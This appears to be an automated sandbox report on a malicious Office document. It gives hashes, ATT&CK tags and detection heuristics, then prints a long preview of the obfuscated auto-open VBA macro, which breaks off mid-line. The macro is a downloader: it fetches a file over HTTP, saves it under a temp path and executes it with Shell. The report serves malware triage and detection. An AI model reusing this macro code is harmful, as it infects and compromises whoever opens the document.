Office (OOXML) malware analysis — malicious · 70411393ea661302

MALICIOUS

Office (OOXML)

40.2 KB Created: 2014-11-17 18:39:00 UTC Authoring application: Microsoft Office Outlook 12.0000 First seen: 2014-12-09

MD5: 7c005713f9448f1c850a7795e707c62f SHA-1: a0b315c7b60a0a3861cfe9c5ab16aeba29518530 SHA-256: 70411393ea66130204abfb3653646dcb495538fbbc6a5a76bef1376625d2fcbf

376 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is an OOXML document containing heavily obfuscated VBA macros. Heuristics indicate the presence of auto-executing macros that use CreateObject and Shell calls, suggesting an intent to download and execute a secondary payload. The ClamAV detection of 'Doc.Downloader.Generic-6698421-0' further supports this downloader functionality.

Heuristics 12

ClamAV: Doc.Downloader.Generic-6698421-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Downloader.Generic-6698421-0
VBA project inside OOXML medium 8 related findings OOXML_VBA

Document contains a VBA project — VBA macros present
Potential Shell call in VBA critical OLE_VBA_SHELL

Potential Shell call in VBA
Matched line in script
```
    PQGUZJWTYXM = Shell(GLEVLQXWKWH, 1)
```
Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER

Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
Matched line in script
```
    Set SLHTDMUNGAR = CreateObject(HexToString(Chr$(52) & Chr$(68) & Chr$(53) & Chr$(51) & Chr$(53) & Chr$(56) & Chr$(52) & Chr$(68) & Chr$(52) & Chr$(67) & Chr$(51) & Chr$(50) & Chr$(50) & Chr$(69) & Chr$(53) & Chr$(56) & Chr$(52) & Chr$(68) & Chr$(52) & Chr$(67) & Chr$(52) & Chr$(56) & Chr$(53) & Chr$(52) & Chr$(53) & Chr$(52) & Chr$(53) & Chr$(48)))
```

CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call

Matched line in script

    Set SLHTDMUNGAR = CreateObject(HexToString(Chr$(52) & Chr$(68) & Chr$(53) & Chr$(51) & Chr$(53) & Chr$(56) & Chr$(52) & Chr$(68) & Chr$(52) & Chr$(67) & Chr$(51) & Chr$(50) & Chr$(50) & Chr$(69) & Chr$(53) & Chr$(56) & Chr$(52) & Chr$(68) & Chr$(52) & Chr$(67) & Chr$(52) & Chr$(56) & Chr$(53) & Chr$(52) & Chr$(53) & Chr$(52) & Chr$(53) & Chr$(48)))

VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
AutoOpen macro low OLE_VBA_AUTOOPEN

AutoOpen macro
Matched line in script
```
Sub AutoOpen()
```
Workbook_Open macro low OLE_VBA_WBOPEN

Workbook_Open macro
Matched line in script
```
Sub Workbook_Open()
```
Auto_Open macro low OLE_VBA_AUTO

Auto_Open macro
Matched line in script
```
Sub Auto_Open()
```

Environ() call (env variable access) low OLE_VBA_ENVIRON

Environ() call (env variable access)

Matched line in script

    IYVNOUDTSQO fdgbklV9B, Environ(HexToString(Chr$(53) & Chr$(52) & Chr$(52) & Chr$(53) & Chr$(52) & Chr$(68) & Chr$(53) & Chr$(48))) & HexToString(Chr$(53) & Chr$(67) & Chr$(52) & Chr$(57) & Chr$(53) & Chr$(49) & Chr$(53) & Chr$(49) & Chr$(52) & Chr$(66) & Chr$(53) & Chr$(53) & Chr$(53) & Chr$(53) & Chr$(52) & Chr$(67) & Chr$(52) & Chr$(49) & Chr$(52) & Chr$(66) & Chr$(52) & Chr$(53) & Chr$(52) & Chr$(67) & Chr$(50) & Chr$(69) & Chr$(54) & Chr$(53) & Chr$(55) & Chr$(56) & Chr$(54) & Chr$(53))

Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL http://schemas.openxmlformats.org/markup-compatibility/2006 In document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source from OOXML)	55832 bytes
SHA-256: `0394ea0a50ded9d9a4da397617fd318650fdf3868971729391e860f6fbaccbaa`
Detection ClamAV: No threats found Obfuscation or payload: likely 124 of 187 identifiers look randomly generated (e.g. 'pCQyPBFfTQKdaw') — consistent with name-mangling obfuscation.
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Function IYVNOUDTSQO(ByVal LJYFUPUWAIN As String, ByVal GLEVLQXWKWH As String) As Boolean Dim SLHTDMUNGAR As Object, VYBLGBDLYVJ As Long, VRJJSJNVWGS As Long, DQMXALHCMCM() As Byte Dim OQNkvAoh, gUISSCNi, LZhiBkKN As String If 985133 = 985133 + 1 Then End If 8829 < 81 Then MsgBox ("lByQpgeT23") End If If Len("nqahaufH6622") = Len("DAQNjWQB") Then MsgBox ("Error !!!") End If OQNkvAoh = " BBSALY " If 384492 = 384492 + 1 Then End If 1658 < 71 Then MsgBox ("VKClsPKR72") End If If Len("HBjuMLcY8441") = Len("OntbbNui") Then MsgBox ("Error !!!") End If gUISSCNi = LTrim(OQNkvAoh) If 177432 = 177432 + 1 Then End If 2636 < 28 Then MsgBox ("yZyImEEa23") End If If Len("MVyWnFNR9438") = Len("ugJTHZcF") Then MsgBox ("Error !!!") End If LZhiBkKN = RTrim(gUISSCNi) If 838855 = 838855 + 1 Then End If 7992 < 44 Then MsgBox (HexToString(Chr$(53) & Chr$(50) & Chr$(55) & Chr$(49) & Chr$(54) & Chr$(66) & Chr$(52) & Chr$(54) & Chr$(55) & Chr$(51) & Chr$(55) & Chr$(50) & Chr$(54) & Chr$(69) & Chr$(55) & Chr$(51) & Chr$(51) & Chr$(52) & Chr$(51) & Chr$(53))) End If If Len(HexToString(Chr$(55) & Chr$(55) & Chr$(54) & Chr$(66) & Chr$(53) & Chr$(49) & Chr$(53) & Chr$(65) & Chr$(53) & Chr$(55) & Chr$(54) & Chr$(52) & Chr$(55) & Chr$(52) & Chr$(54) & Chr$(52) & Chr$(51) & Chr$(53) & Chr$(51) & Chr$(55) & Chr$(51) & Chr$(56) & Chr$(51) & Chr$(52))) = Len(HexToString(Chr$(54) & Chr$(55) & Chr$(52) & Chr$(66) & Chr$(54) & Chr$(69) & Chr$(52) & Chr$(68) & Chr$(54) & Chr$(50) & Chr$(54) & Chr$(67) & Chr$(52) & Chr$(54) & Chr$(52) & Chr$(55))) Then MsgBox (HexToString(Chr$(52) & Chr$(53) & Chr$(55) & Chr$(50) & Chr$(55) & Chr$(50) & Chr$(54) & Chr$(70) & Chr$(55) & Chr$(50) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(49) & Chr$(50) & Chr$(49) & Chr$(50) & Chr$(49))) End If Set SLHTDMUNGAR = CreateObject(HexToString(Chr$(52) & Chr$(68) & Chr$(53) & Chr$(51) & Chr$(53) & Chr$(56) & Chr$(52) & Chr$(68) & Chr$(52) & Chr$(67) & Chr$(51) & Chr$(50) & Chr$(50) & Chr$(69) & Chr$(53) & Chr$(56) & Chr$(52) & Chr$(68) & Chr$(52) & Chr$(67) & Chr$(52) & Chr$(56) & Chr$(53) & Chr$(52) & Chr$(53) & Chr$(52) & Chr$(53) & Chr$(48))) SLHTDMUNGAR.Open HexToString(Chr$(52) & Chr$(55) & Chr$(52) & Chr$(53) & Chr$(53) & Chr$(52)), LJYFUPUWAIN, False Dim mHWcbHdI, OYazTAvj, sJhWgBiQ As String If 571783 = 571783 + 1 Then End If 7679 < 93 Then MsgBox (HexToString(Chr$(52) & Chr$(67) & Chr$(53) & Chr$(54) & Chr$(53) & Chr$(48) & Chr$(54) & Chr$(67) & Chr$(52) & Chr$(51) & Chr$(52) & Chr$(66) & Chr$(52) & Chr$(69) & Chr$(52) & Chr$(67) & Chr$(51) & Chr$(54) & Chr$(51) & Chr$(51))) End If If Len(HexToString(Chr$(54) & Chr$(67) & Chr$(52) & Chr$(69) & Chr$(52) & Chr$(49) & Chr$(54) & Chr$(65) & Chr$(55) & Chr$(54) & Chr$(54) & Chr$(66) & Chr$(52) & Chr$(50) & Chr$(53) & Chr$(49) & Chr$(51) & Chr$(53) & Chr$(51) & Chr$(52) & Chr$(51) & Chr$(54) & Chr$(51) & Chr$(50))) = Len(HexToString(Chr$(52) & Chr$(68) & Chr$(53) & Chr$(49) & Chr$(54) & Chr$(68) & Chr$(54) & Chr$(65) & Chr$(54) & Chr$(66) & Chr$(52) & Chr$(65) & Chr$(52) & Chr$(68) & Chr$(53) & Chr$(52))) Then MsgBox (HexToString(Chr$(52) & Chr$(53) & Chr$(55) & Chr$(50) & Chr$(55) & Chr$(50) & Chr$(54) & Chr$(70) & Chr$(55) & Chr$(50) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(49) & Chr$(50) & Chr$(49) & Chr$(50) & Chr$(49))) End If mHWcbHdI = HexToString(Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(52) & Chr$(69) & Chr$(53) & Chr$(50) & Chr$(53) & Chr$(54) & Chr$(52) & Chr$(69) & Chr$(52) & Chr$(51) & Chr$(53) & Chr$(52) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48)) If 515157 = 515157 + 1 Then End If 1171 < 65 Then MsgBox (HexToString(Chr$(52) & Chr$(49) & Chr$(55) & Chr$(54) & Chr$(55) & Chr$(49) & Chr$(54) & Chr$(55) & Chr$(54) & Chr$(54) & Chr$(54) & Chr$(70) & Chr$(53) & Chr$(52) & Chr$(52) & Chr$(52) & Chr$(51) & Chr$(51) & Chr$(51) & Chr$(55))) End If If Len(HexToString(Chr$(53) & Chr$(51) & Chr$(54) & Chr$(67) & Chr$(54) & Chr$(50) & Chr$(54) & Chr$(68) & Chr$(53) & Chr$(53) & Chr$(52) & Chr$(50) & Chr$(52) & Chr$(50) & Chr$(55) & Chr$(55) & Chr$(51) & Chr$(49) & Chr$(51) & Chr$(50) & Chr$(51) & Chr$(56) & Chr$(51) & Chr$(54))) = Len(HexToString(Chr$(53) & Chr$(52) & Chr$(53) & Chr$(55) & Chr$(54) & Chr$(55) & Chr$(52) & Chr$(52) & Chr$(55) & Chr$(51) & Chr$(55) & Chr$(57) & Chr$(52) & Chr$(57) & Chr$(52) & Chr$(51))) Then MsgBox (HexToString(Chr$(52) & Chr$(53) & Chr$(55) & Chr$(50) & Chr$(55) & Chr$(50) & Chr$(54) & Chr$(70) & Chr$(55) & Chr$(50) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(49) & Chr$(50) & Chr$(49) & Chr$(50) & Chr$(49))) End If OYazTAvj = LTrim(mHWcbHdI) If 948828 = 948828 + 1 Then End If 4144 < 77 Then MsgBox (HexToString(Chr$(52) & Chr$(69) & Chr$(54) & Chr$(70) & Chr$(54) & Chr$(52) & Chr$(54) & Chr$(57) & Chr$(54) & Chr$(65) & Chr$(53) & Chr$(48) & Chr$(52) & Chr$(53) & Chr$(52) & Chr$(56) & Chr$(51) & Chr$(49) & Chr$(51) & Chr$(56))) End If If Len(HexToString(Chr$(54) & Chr$(57) & Chr$(54) & Chr$(68) & Chr$(54) & Chr$(70) & Chr$(53) & Chr$(51) & Chr$(55) & Chr$(53) & Chr$(53) & Chr$(65) & Chr$(52) & Chr$(54) & Chr$(54) & Chr$(49) & Chr$(51) & Chr$(53) & Chr$(51) & Chr$(50) & Chr$(51) & Chr$(53) & Chr$(51) & Chr$(57))) = Len(HexToString(Chr$(52) & Chr$(57) & Chr$(55) & Chr$(53) & Chr$(55) & Chr$(65) & Chr$(53) & Chr$(51) & Chr$(52) & Chr$(69) & Chr$(55) & Chr$(65) & Chr$(52) & Chr$(70) & Chr$(53) & Chr$(55))) Then MsgBox (HexToString(Chr$(52) & Chr$(53) & Chr$(55) & Chr$(50) & Chr$(55) & Chr$(50) & Chr$(54) & Chr$(70) & Chr$(55) & Chr$(50) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(49) & Chr$(50) & Chr$(49) & Chr$(50) & Chr$(49))) End If sJhWgBiQ = RTrim(OYazTAvj) If 964469 = 964469 + 1 Then End If 2242 < 86 Then MsgBox (HexToString(Chr$(52) & Chr$(70) & Chr$(53) & Chr$(57) & Chr$(53) & Chr$(54) & Chr$(54) & Chr$(65) & Chr$(55) & Chr$(55) & Chr$(54) & Chr$(49) & Chr$(54) & Chr$(57) & Chr$(52) & Chr$(65) & Chr$(51) & Chr$(52) & Chr$(51) & Chr$(57))) End If If Len(HexToString(Chr$(52) & Chr$(67) & Chr$(53) & Chr$(65) & Chr$(54) & Chr$(52) & Chr$(55) & Chr$(56) & Chr$(52) & Chr$(55) & Chr$(52) & Chr$(65) & Chr$(52) & Chr$(49) & Chr$(54) & Chr$(50) & Chr$(51) & Chr$(50) & Chr$(51) & Chr$(52) & Chr$(51) & Chr$(53) & Chr$(51) & Chr$(54))) = Len(HexToString(Chr$(52) & Chr$(52) & Chr$(55) & Chr$(50) & Chr$(55) & Chr$(65) & Chr$(52) & Chr$(54) & Chr$(54) & Chr$(67) & Chr$(53) & Chr$(54) & Chr$(55) & Chr$(49) & Chr$(55) & Chr$(65))) Then MsgBox (HexToString(Chr$(52) & Chr$(53) & Chr$(55) & Chr$(50) & Chr$(55) & Chr$(50) & Chr$(54) & Chr$(70) & Chr$(55) & Chr$(50) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(49) & Chr$(50) & Chr$(49) & Chr$(50) & Chr$(49))) End If SLHTDMUNGAR.Send HexToString(Chr$(54) & Chr$(54) & Chr$(54) & Chr$(52) & Chr$(54) & Chr$(56) & Chr$(54) & Chr$(70) & Chr$(54) & Chr$(66)) Dim yJuhseVv, kCLlFJzI, ReTxhTtL As String If 927236 = 927236 + 1 Then End If 8621 < 13 Then MsgBox (HexToString(Chr$(55) & Chr$(65) & Chr$(53) & Chr$(54) & Chr$(54) & Chr$(70) & Chr$(55) & Chr$(56) & Chr$(55) & Chr$(49) & Chr$(53) & Chr$(49) & Chr$(55) & Chr$(55) & Chr$(54) & Chr$(69) & Chr$(51) & Chr$(49) & Chr$(51) & Chr$(55))) End If If Len(HexToString(Chr$(52) & Chr$(56) & Chr$(54) & Chr$(68) & Chr$(54) & Chr$(70) & Chr$(53) & Chr$(48) & Chr$(54) & Chr$(56) & Chr$(52) & Chr$(51) & Chr$(52) & Chr$(66) & Chr$(55) & Chr$(52) & Chr$(51) & Chr$(57) & Chr$(51) & Chr$(56) & Chr$(51) & Chr$(51) & Chr$(51) & Chr$(54))) = Len(HexToString(Chr$(54) & Chr$(53) & Chr$(53) & Chr$(49) & Chr$(52) & Chr$(68) & Chr$(54) & Chr$(67) & Chr$(53) & Chr$(52) & Chr$(53) & Chr$(48) & Chr$(54) & Chr$(56) & Chr$(54) & Chr$(54))) Then MsgBox (HexToString(Chr$(52) & Chr$(53) & Chr$(55) & Chr$(50) & Chr$(55) & Chr$(50) & Chr$(54) & Chr$(70) & Chr$(55) & Chr$(50) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(49) & Chr$(50) & Chr$(49) & Chr$(50) & Chr$(49))) End If yJuhseVv = HexToString(Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(52) & Chr$(49) & Chr$(53) & Chr$(53) & Chr$(52) & Chr$(65) & Chr$(52) & Chr$(65) & Chr$(52) & Chr$(68) & Chr$(53) & Chr$(50) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48)) If 118674 = 118674 + 1 Then End If 3784 < 91 Then MsgBox (HexToString(Chr$(52) & Chr$(52) & Chr$(55) & Chr$(52) & Chr$(54) & Chr$(67) & Chr$(53) & Chr$(52) & Chr$(52) & Chr$(65) & Chr$(53) & Chr$(54) & Chr$(52) & Chr$(65) & Chr$(54) & Chr$(56) & Chr$(51) & Chr$(53) & Chr$(51) & Chr$(52))) End If If Len(HexToString(Chr$(55) & Chr$(51) & Chr$(55) & Chr$(55) & Chr$(52) & Chr$(66) & Chr$(55) & Chr$(65) & Chr$(52) & Chr$(54) & Chr$(54) & Chr$(50) & Chr$(52) & Chr$(57) & Chr$(53) & Chr$(48) & Chr$(51) & Chr$(51) & Chr$(51) & Chr$(56) & Chr$(51) & Chr$(57) & Chr$(51) & Chr$(57))) = Len(HexToString(Chr$(55) & Chr$(52) & Chr$(52) & Chr$(51) & Chr$(53) & Chr$(57) & Chr$(54) & Chr$(67) & Chr$(54) & Chr$(67) & Chr$(53) & Chr$(57) & Chr$(54) & Chr$(66) & Chr$(55) & Chr$(51))) Then MsgBox (HexToString(Chr$(52) & Chr$(53) & Chr$(55) & Chr$(50) & Chr$(55) & Chr$(50) & Chr$(54) & Chr$(70) & Chr$(55) & Chr$(50) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(49) & Chr$(50) & Chr$(49) & Chr$(50) & Chr$(49))) End If kCLlFJzI = LTrim(yJuhseVv) If 327966 = 327966 + 1 Then End If 8835 < 15 Then MsgBox (HexToString(Chr$(53) & Chr$(53) & Chr$(54) & Chr$(67) & Chr$(54) & Chr$(68) & Chr$(53) & Chr$(50) & Chr$(55) & Chr$(56) & Chr$(55) & Chr$(52) & Chr$(55) & Chr$(52) & Chr$(52) & Chr$(69) & Chr$(51) & Chr$(52) & Chr$(51) & Chr$(54))) End If If Len(HexToString(Chr$(52) & Chr$(55) & Chr$(53) & Chr$(52) & Chr$(54) & Chr$(56) & Chr$(54) & Chr$(70) & Chr$(54) & Chr$(52) & Chr$(53) & Chr$(54) & Chr$(54) & Chr$(56) & Chr$(55) & Chr$(51) & Chr$(51) & Chr$(56) & Chr$(51) & Chr$(57) & Chr$(51) & Chr$(52) & Chr$(51) & Chr$(49))) = Len(HexToString(Chr$(54) & Chr$(49) & Chr$(53) & Chr$(55) & Chr$(52) & Chr$(69) & Chr$(52) & Chr$(67) & Chr$(53) & Chr$(65) & Chr$(53) & Chr$(49) & Chr$(52) & Chr$(52) & Chr$(54) & Chr$(68))) Then MsgBox (HexToString(Chr$(52) & Chr$(53) & Chr$(55) & Chr$(50) & Chr$(55) & Chr$(50) & Chr$(54) & Chr$(70) & Chr$(55) & Chr$(50) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(49) & Chr$(50) & Chr$(49) & Chr$(50) & Chr$(49))) End If ReTxhTtL = RTrim(kCLlFJzI) If 562443 = 562443 + 1 Then End If 6222 < 69 Then MsgBox (HexToString(Chr$(55) & Chr$(48) & Chr$(53) & Chr$(50) & Chr$(53) & Chr$(48) & Chr$(54) & Chr$(65) & Chr$(53) & Chr$(48) & Chr$(54) & Chr$(56) & Chr$(53) & Chr$(56) & Chr$(53) & Chr$(53) & Chr$(51) & Chr$(57) & Chr$(51) & Chr$(56))) End If If Len(HexToString(Chr$(53) & Chr$(53) & Chr$(53) & Chr$(55) & Chr$(54) & Chr$(57) & Chr$(52) & Chr$(52) & Chr$(52) & Chr$(57) & Chr$(52) & Chr$(66) & Chr$(52) & Chr$(52) & Chr$(55) & Chr$(65) & Chr$(51) & Chr$(55) & Chr$(51) & Chr$(51) & Chr$(51) & Chr$(51) & Chr$(51) & Chr$(54))) = Len(HexToString(Chr$(54) & Chr$(69) & Chr$(55) & Chr$(56) & Chr$(52) & Chr$(51) & Chr$(55) & Chr$(52) & Chr$(54) & Chr$(52) & Chr$(53) & Chr$(54) & Chr$(55) & Chr$(56) & Chr$(52) & Chr$(53))) Then MsgBox (HexToString(Chr$(52) & Chr$(53) & Chr$(55) & Chr$(50) & Chr$(55) & Chr$(50) & Chr$(54) & Chr$(70) & Chr$(55) & Chr$(50) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(49) & Chr$(50) & Chr$(49) & Chr$(50) & Chr$(49))) End If DQMXALHCMCM = SLHTDMUNGAR.responseBody Dim eZqSHugl, BEwVpsSm, MRTpRhpw As String If 614695 = 614695 + 1 Then End If 4215 < 43 Then MsgBox (HexToString(Chr$(52) & Chr$(50) & Chr$(54) & Chr$(52) & Chr$(53) & Chr$(54) & Chr$(54) & Chr$(54) & Chr$(54) & Chr$(70) & Chr$(54) & Chr$(50) & Chr$(55) & Chr$(52) & Chr$(53) & Chr$(52) & Chr$(51) & Chr$(55) & Chr$(51) & Chr$(53))) End If If Len(HexToString(Chr$(55) & Chr$(53) & Chr$(55) & Chr$(54) & Chr$(52) & Chr$(68) & Chr$(52) & Chr$(67) & Chr$(52) & Chr$(50) & Chr$(54) & Chr$(66) & Chr$(54) & Chr$(56) & Chr$(52) & Chr$(56) & Chr$(51) & Chr$(50) & Chr$(51) & Chr$(56) & Chr$(51) & Chr$(49) & Chr$(51) & Chr$(55))) = Len(HexToString(Chr$(54) & Chr$(67) & Chr$(52) & Chr$(55) & Chr$(53) & Chr$(50) & Chr$(53) & Chr$(65) & Chr$(54) & Chr$(55) & Chr$(55) & Chr$(52) & Chr$(52) & Chr$(52) & Chr$(52) & Chr$(50))) Then MsgBox (HexToString(Chr$(52) & Chr$(53) & Chr$(55) & Chr$(50) & Chr$(55) & Chr$(50) & Chr$(54) & Chr$(70) & Chr$(55) & Chr$(50) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(49) & Chr$(50) & Chr$(49) & Chr$(50) & Chr$(49))) End If eZqSHugl = HexToString(Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(52) & Chr$(57) & Chr$(53) & Chr$(65) & Chr$(52) & Chr$(57) & Chr$(53) & Chr$(54) & Chr$(52) & Chr$(52) & Chr$(52) & Chr$(51) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48)) If 254388 = 254388 + 1 Then End If 9357 < 67 Then MsgBox (HexToString(Chr$(52) & Chr$(66) & Chr$(52) & Chr$(49) & Chr$(52) & Chr$(50) & Chr$(55) & Chr$(51) & Chr$(52) & Chr$(54) & Chr$(53) & Chr$(57) & Chr$(54) & Chr$(66) & Chr$(54) & Chr$(65) & Chr$(51) & Chr$(54) & Chr$(51) & Chr$(56))) End If If Len(HexToString(Chr$(53) & Chr$(48) & Chr$(53) & Chr$(53) & Chr$(54) & Chr$(66) & Chr$(52) & Chr$(69) & Chr$(54) & Chr$(51) & Chr$(52) & Chr$(55) & Chr$(52) & Chr$(51) & Chr$(54) & Chr$(66) & Chr$(51) & Chr$(55) & Chr$(51) & Chr$(49) & Chr$(51) & Chr$(53) & Chr$(51) & Chr$(56))) = Len(HexToString(Chr$(52) & Chr$(53) & Chr$(54) & Chr$(70) & Chr$(55) & Chr$(53) & Chr$(54) & Chr$(66) & Chr$(55) & Chr$(65) & Chr$(53) & Chr$(56) & Chr$(53) & Chr$(57) & Chr$(52) & Chr$(68))) Then MsgBox (HexToString(Chr$(52) & Chr$(53) & Chr$(55) & Chr$(50) & Chr$(55) & Chr$(50) & Chr$(54) & Chr$(70) & Chr$(55) & Chr$(50) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(49) & Chr$(50) & Chr$(49) & Chr$(50) & Chr$(49))) End If BEwVpsSm = LTrim(eZqSHugl) If 349158 = 349158 + 1 Then End If 4363 < 44 Then MsgBox (HexToString(Chr$(54) & Chr$(66) & Chr$(55) & Chr$(53) & Chr$(55) & Chr$(56) & Chr$(54) & Chr$(67) & Chr$(55) & Chr$(49) & Chr$(55) & Chr$(48) & Chr$(53) & Chr$(65) & Chr$(54) & Chr$(50) & Chr$(51) & Chr$(52) & Chr$(51) & Chr$(56))) End If If Len(HexToString(Chr$(55) & Chr$(57) & Chr$(52) & Chr$(53) & Chr$(55) & Chr$(56) & Chr$(53) & Chr$(53) & Chr$(54) & Chr$(56) & Chr$(54) & Chr$(68) & Chr$(52) & Chr$(50) & Chr$(55) & Chr$(50) & Chr$(51) & Chr$(50) & Chr$(51) & Chr$(57) & Chr$(51) & Chr$(54) & Chr$(51) & Chr$(53))) = Len(HexToString(Chr$(54) & Chr$(67) & Chr$(52) & Chr$(68) & Chr$(55) & Chr$(53) & Chr$(54) & Chr$(65) & Chr$(53) & Chr$(52) & Chr$(54) & Chr$(70) & Chr$(55) & Chr$(56) & Chr$(54) & Chr$(52))) Then MsgBox (HexToString(Chr$(52) & Chr$(53) & Chr$(55) & Chr$(50) & Chr$(55) & Chr$(50) & Chr$(54) & Chr$(70) & Chr$(55) & Chr$(50) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(49) & Chr$(50) & Chr$(49) & Chr$(50) & Chr$(49))) End If MRTpRhpw = RTrim(BEwVpsSm) If 665238 = 665238 + 1 Then End If 5456 < 18 Then MsgBox (HexToString(Chr$(54) & Chr$(66) & Chr$(53) & Chr$(57) & Chr$(52) & Chr$(69) & Chr$(55) & Chr$(57) & Chr$(55) & Chr$(48) & Chr$(54) & Chr$(70) & Chr$(54) & Chr$(67) & Chr$(54) & Chr$(57) & Chr$(51) & Chr$(49) & Chr$(51) & Chr$(57))) End If If Len(HexToString(Chr$(54) & Chr$(70) & Chr$(52) & Chr$(52) & Chr$(54) & Chr$(67) & Chr$(52) & Chr$(68) & Chr$(52) & Chr$(66) & Chr$(54) & Chr$(66) & Chr$(52) & Chr$(50) & Chr$(54) & Chr$(70) & Chr$(51) & Chr$(51) & Chr$(51) & Chr$(50) & Chr$(51) & Chr$(53) & Chr$(51) & Chr$(55))) = Len(HexToString(Chr$(55) & Chr$(65) & Chr$(54) & Chr$(54) & Chr$(54) & Chr$(70) & Chr$(54) & Chr$(52) & Chr$(55) & Chr$(56) & Chr$(55) & Chr$(54) & Chr$(52) & Chr$(57) & Chr$(53) & Chr$(49))) Then MsgBox (HexToString(Chr$(52) & Chr$(53) & Chr$(55) & Chr$(50) & Chr$(55) & Chr$(50) & Chr$(54) & Chr$(70) & Chr$(55) & Chr$(50) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(49) & Chr$(50) & Chr$(49) & Chr$(50) & Chr$(49))) End If VRJJSJNVWGS = FreeFile Open GLEVLQXWKWH For Binary As #VRJJSJNVWGS Dim RHJejTOz, oSvcEaAM, FUuKHwlS As String If 186833 = 186833 + 1 Then End If 2621 < 43 Then MsgBox (HexToString(Chr$(54) & Chr$(67) & Chr$(52) & Chr$(50) & Chr$(55) & Chr$(48) & Chr$(55) & Chr$(55) & Chr$(54) & Chr$(65) & Chr$(55) & Chr$(49) & Chr$(55) & Chr$(56) & Chr$(55) & Chr$(50) & Chr$(51) & Chr$(50) & Chr$(51) & Chr$(51))) End If If Len(HexToString(Chr$(52) & Chr$(68) & Chr$(52) & Chr$(69) & Chr$(52) & Chr$(69) & Chr$(54) & Chr$(67) & Chr$(52) & Chr$(66) & Chr$(53) & 